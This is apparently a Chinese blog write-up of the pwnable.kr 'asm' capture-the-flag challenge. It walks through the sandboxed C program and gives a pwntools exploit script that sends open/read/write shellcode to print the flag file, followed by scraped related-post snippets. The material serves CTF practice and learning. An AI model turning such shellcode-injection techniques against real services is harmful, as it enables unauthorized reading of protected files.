Pwnable之[Toddler’s Bottle](三)–ASM

提示:我觉得一个黑客应该知道怎么做shellcode

查看代码asm.c的代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>#define LENGTH 128void sandbox(){scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);if (ctx == NULL) {printf("seccomp error\n");exit(0);}seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);if (seccomp_load(ctx) < 0){seccomp_release(ctx);printf("seccomp error\n");exit(0);}seccomp_release(ctx);
}char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){setvbuf(stdout, 0, _IONBF, 0);setvbuf(stdin, 0, _IOLBF, 0);printf("Welcome to shellcoding practice challenge.\n");//欢迎来到shellcode制作实验挑战printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");//这个挑战,你可以执行shellcode在seccomp沙箱上printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");//尝试制作shellcodeprintf("If this does not challenge you. you should play 'asg' challenge :)\n");//如果这个难不到你的话,可以尝试‘asg’挑战char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);memset(sh, 0x90, 0x1000);//创建0x1000的空间给sh并赋值为0x90memcpy(sh, stub, strlen(stub));//把stub[]里的代码复制给shint offset = sizeof(stub);printf("give me your x64 shellcode: ");read(0, sh+offset, 1000);//读取标准输入中sh+offset的值alarm(10);chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp  你在chroot监狱。所以你不能使用/tmp链接sandbox();//执行沙箱((void (*)(void))sh)();//从sh地址处开始执行函数,无返回无参数return 0;
}

上面是我解析过的代码。
可以很清晰的了解程序的思路。
程序创建0x1000空间给sh,然后吧stub复制进去再执行。
接着要你输入你的shellcode。
最后进入沙箱,沙箱里只能执行read,write,open,还有exit 和 exit_group。

先要明白stub[]里的code是什么意思,用pwntools的disasm()反汇编下。

知道里面的都只是清空寄存器的意思。

我们知道flag在
this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
这个文件里。

那么思路就很清晰了。
编写一个shellcode,先打开这个文件read到一个寄存器里,再write到标准输出上。
在执行这shellcode时就会输出flag。

构造exp:

# -*- coding: utf-8 -*-
from  pwn import *con=ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)
context(arch='amd64', os='linux')
shellcode=""
shellcode = shellcode+shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode =shellcode+shellcraft.read('rax','rsp',1000)
shellcode =shellcode+shellcraft.write(1,'rsp',1000)
#print shellcode
log.info(shellcode)
p.recvuntil('shellcode:')
print "shellcode is :"
p.send(asm(shellcode))
log.success(p.recvline())

参考文章:
https://blog.csdn.net/qq_33528164/article/details/71023772
https://blog.csdn.net/weixin_41400278/article/details/78819950
http://www.cnblogs.com/p4nda/p/7169456.html

Pwnable之[Toddler's Bottle](三)--asm相关推荐

  1. Pwnable之[Toddler's Bottle](三)--memcpy

    Pwnable之[Toddler's Bottle](三)–memcpy 提示是: Are you tired of hacking?, take some rest here. Just help ...

  2. Pwnable之[Toddler's Bottle](三)--unlink

    Pwnable之[Toddler's Bottle](三)–unlink 提示:how can I exploit unlink corruption 我该怎么利用断腐败??? 其实就是如何利用chu ...

  3. Pwnable之[Toddler's Bottle](三)--UAF

    Pwnable之[Toddler's Bottle]–UAF UAF,use-after-free 顾名思义,就是释放过内存的重利用. 根据操作系统里的内存分配就知道,当分配给的一个代码释放后,如果再 ...

  4. Pwnable之[Toddler's Bottle](一)

    Pwnable之[Toddler's Bottle] Pwn挑战地址 1.fd #include <stdio.h> #include <stdlib.h> #include ...

  5. Pwnable之[Toddler's Bottle](二)

    Pwnable之[Toddler's Bottle](2) Pwn挑战地址 11.coin1 nc 连上. 要你玩一个游戏,游戏的规则是: 你手里拿了几枚金币. 然而,其中有一枚假币. 假币和真币一模 ...

  6. pwnable.rk [Toddler‘s Bottle]  5、passcode 详细过程

    最近在学习pwn,做到这个题搜了一些资料,弄了挺长时间,记录一下. passcode.c代码如下: #include <stdio.h> #include <stdlib.h> ...

  7. pwnable.kr [Toddler's Bottle] - uaf

    Mommy, what is Use After Free bug? ssh uaf@pwnable.kr -p2222 (pw:guest) 根据提示已经可以知道这里需要我们利用漏洞Use-Afte ...

  8. pwnable 笔记 Toddler's Bottle - passcode

    注: 这题涉及到了GOT覆写技术,我更新了一篇讲GOT覆写的文章,以这道题做的例子,讲的比较详细,大家可以参考一下: http://blog.csdn.net/smalosnail/article/d ...

  9. pwnable.kr |Toddler's Bottle |fd

    多次比赛在pwn上面被花式吊打了,最近来学习点pwn的相关知识吧,以外得到一个网站pwnable.kr.提供了各式各样的环境让我们去练习,我自己也将练习的过程和心得体会在博客上一一记录吧.以下是入门题 ...

最新文章

  1. 基于机器视觉的智能人机交互技术
  2. 新手友好系列:网页制作这些环节需要着重强调!
  3. MySQL 数据库时区设置方法,“The server time zone value ‘�й���׼ʱ��‘ is unrecognized or represents ...” 问题解决
  4. oracle9i用expdp导出全库,Linux下Oracle 11g数据库全库自动备份(EXPDP)
  5. FTP 服务器Serv-U:Permission denied解决
  6. 在本地生成ssh-key 免密码远程clone GitLab中的项目到本地
  7. 【C语言】找出1000以内可以被3整除的数
  8. php输出源文件,apt-get 按照php7后apache 输出php源文件
  9. 使用ActiveReports for .net 进行报表开发(十)--交叉变换背景 (转)
  10. 【C#】图片处理(底片,黑白,锐化,柔化,浮雕,雾化)
  11. @RequiredArgsConstructor(onConstructor = @__(@Autowired)) Intellij IDEA如何去掉@Autowired 注入警告的方法
  12. java api 第一个类是_java_8_第一个API
  13. 离线安装SilverLight
  14. JS 校验车牌号码(全)
  15. 个人笔记——PointNet初学
  16. 现在你可以通过深度学习用别人的声音来说话了
  17. 拼多多评价过滤哪些内容?应该怎么办?
  18. js验证银行卡号,并自动识别银行信息。js验证手机码。js验证数字
  19. vue中使用wangeditor富文本编辑器(含图片上传和回显)
  20. C语言读取BMP文件

热门文章

  1. 从源码探究双亲委派机制
  2. Vue项目中添加锁屏功能
  3. 柔性对接和半柔性对接的区别_柔性屏风
  4. 游戏安全:增强游戏安全,把握未来——用游戏盾防护保护你的游戏
  5. LED背光车载驱动IC 可支持48通道
  6. 人工智能的新曙光:联邦学习
  7. 鹦鹉学舌1c语言,鹦鹉学舌的秘密,大脑结构奇特/模仿人类语言(脑力惊人)
  8. 虚拟机设置固定ip地址
  9. ArcGIS构建网络数据集步骤
  10. Linux/Ubuntu/SentOS系统安装oh-my-zsh